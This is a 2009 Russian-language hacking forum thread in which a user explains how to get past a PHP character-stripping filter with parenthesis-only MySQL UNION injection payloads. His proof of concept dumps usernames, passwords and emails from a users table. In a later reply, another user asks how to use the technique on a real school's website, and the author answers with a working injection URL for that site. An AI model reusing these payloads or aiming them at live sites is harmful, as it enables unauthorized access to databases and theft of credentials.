ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Небольшой очерк 2 - Фильтрация
  #1  
Старый 18.06.2009, 00:17
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию Небольшой очерк 2 - Фильтрация

Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC:

-Пробел %2B, +
-Табуляция %09
-Возврат каретки %0D
-Перевод строки %0A
-Составляющие комментариев -, /, *

*Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не
пришлось бы использовать комментарии

1. Например вот такой скрипт фильтрации:
PHP код:
$str str_replace('/''',
       
str_replace('*''',
       
str_replace('=''',
       
str_replace('+''',
       
str_replace(' ''',
       
str_replace('%2B''',
       
str_replace('%0B''',
       
str_replace('%09''',
       
str_replace('$0D''',
       
str_replace('%0A'''$str)))))))))); 
Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc.

2. PoC
Код:
mysql> select * from news;
+---------+-----------+------------+---------------+
| news_id | news_name | news_theme | news          |
+---------+-----------+------------+---------------+
|       1 | news1     | theme1     | newsnewsnews1 |
|       2 | news2     | theme2     | newsnewsnews2 |
+---------+-----------+------------+---------------+
2 rows in set
 
mysql> select * from users;
+----+----------+--------+--------------+
| id | username | pwd    | email        |
+----+----------+--------+--------------+
|  1 | admin    | 12345  | 1234@1234.ru |
|  2 | user     | qwerty | user@123.ru  |
|  3 | user1    | 0000   | ffff@fff.ru  |
+----+----------+--------+--------------+
3 rows in set
---
Код:
mysql> select news_name, news_theme, news from news where news_id=1;
Допустим параметр news_id как раз мы можем изменить, тогда:
Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));
+-----------+------------+------+
| news_name | news_theme | news |
+-----------+------------+------+
| 1         | 2          | 3    |
+-----------+------------+------+
1 row in set
Ну вы понели..
---
Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));
+----------------------------+---------------------+------+
| news_name                  | news_theme          | news |
+----------------------------+---------------------+------+
| 1:admin:12345:1234@1234.ru | test:root@localhost | NULL |
+----------------------------+---------------------+------+
1 row in set
Фильтр успешно обходится. Дальше только ваша фантазия.

3 ...
4 PROFIT

PS
Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает.
PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить.
PPPS Если не понятна логика построения таких запросов, спрашивайте.

eof

Последний раз редактировалось .Slip; 18.06.2009 в 02:00..
 
Ответить с цитированием

  #2  
Старый 18.06.2009, 00:38
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Мой пост можете не читать

Цитата:
Сообщение от .Slip  
1. Например вот такой скрипт фильтрации:
PHP код:
$str str_replace('/''',
       
str_replace('*''',
       
str_replace('=''',
       
str_replace('+''',
       
str_replace(' ''',
       
str_replace('%2B''',
       
str_replace('%09''',
       
str_replace('$0D''',
       
str_replace('%0A''')))))))); 
Конечно класно, но такой код жесть) Хотя б уже сделал
PHP код:
str_replace(array("/","*","итд"), $str); 

Последний раз редактировалось Dimi4; 18.06.2009 в 00:48..
 
Ответить с цитированием

  #3  
Старый 18.06.2009, 00:42
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Нашли до чего доебаться, суть не в этом
 
Ответить с цитированием

  #4  
Старый 18.06.2009, 01:22
Аватар для c411k
c411k
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме:
8854279

Репутация: 2727


По умолчанию

вообще-то боян страшный..
__________________
ПИУ-ПИУ...
 
Ответить с цитированием

  #5  
Старый 18.06.2009, 01:24
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

баян, но ладно)
Слип молодец :-*
 
Ответить с цитированием

  #6  
Старый 18.06.2009, 01:29
Аватар для farpost
farpost
Познающий
Регистрация: 16.05.2009
Сообщений: 42
Провел на форуме:
190310

Репутация: 7
По умолчанию

Как к примеру сюда применить?

так работает
Цитата:
http://www.tauntonschool.co.uk/foundation/index.php?id=-1'+union+select+1,2,3,4+--+
так не работает
Цитата:
http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)union(select(1),(2),(3),(4));
 
Ответить с цитированием

  #7  
Старый 18.06.2009, 01:40
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.
 
Ответить с цитированием

  #8  
Старый 18.06.2009, 01:51
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

кстати про %0b забыл
 
Ответить с цитированием

  #9  
Старый 18.06.2009, 02:01
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Добавил
 
Ответить с цитированием

  #10  
Старый 18.06.2009, 02:07
Аватар для Tigger
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Люди посоветуйте какой ни будь небольшой бизнес в городе REBUUS Болталка 37 17.06.2009 21:34
небольшой очерк о том как взломать собственную форточку Phm.phx Windows 5 13.06.2009 12:36
Небольшой очерк - file_exists .Slip Авторские статьи 6 09.04.2009 21:56
Небольшой Faq по асе!! Zitt ICQ 9 13.02.2007 00:46
Кеш браузеров. Небольшой трюк... Trinux PHP, PERL, MySQL, JavaScript 2 14.08.2006 21:01



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ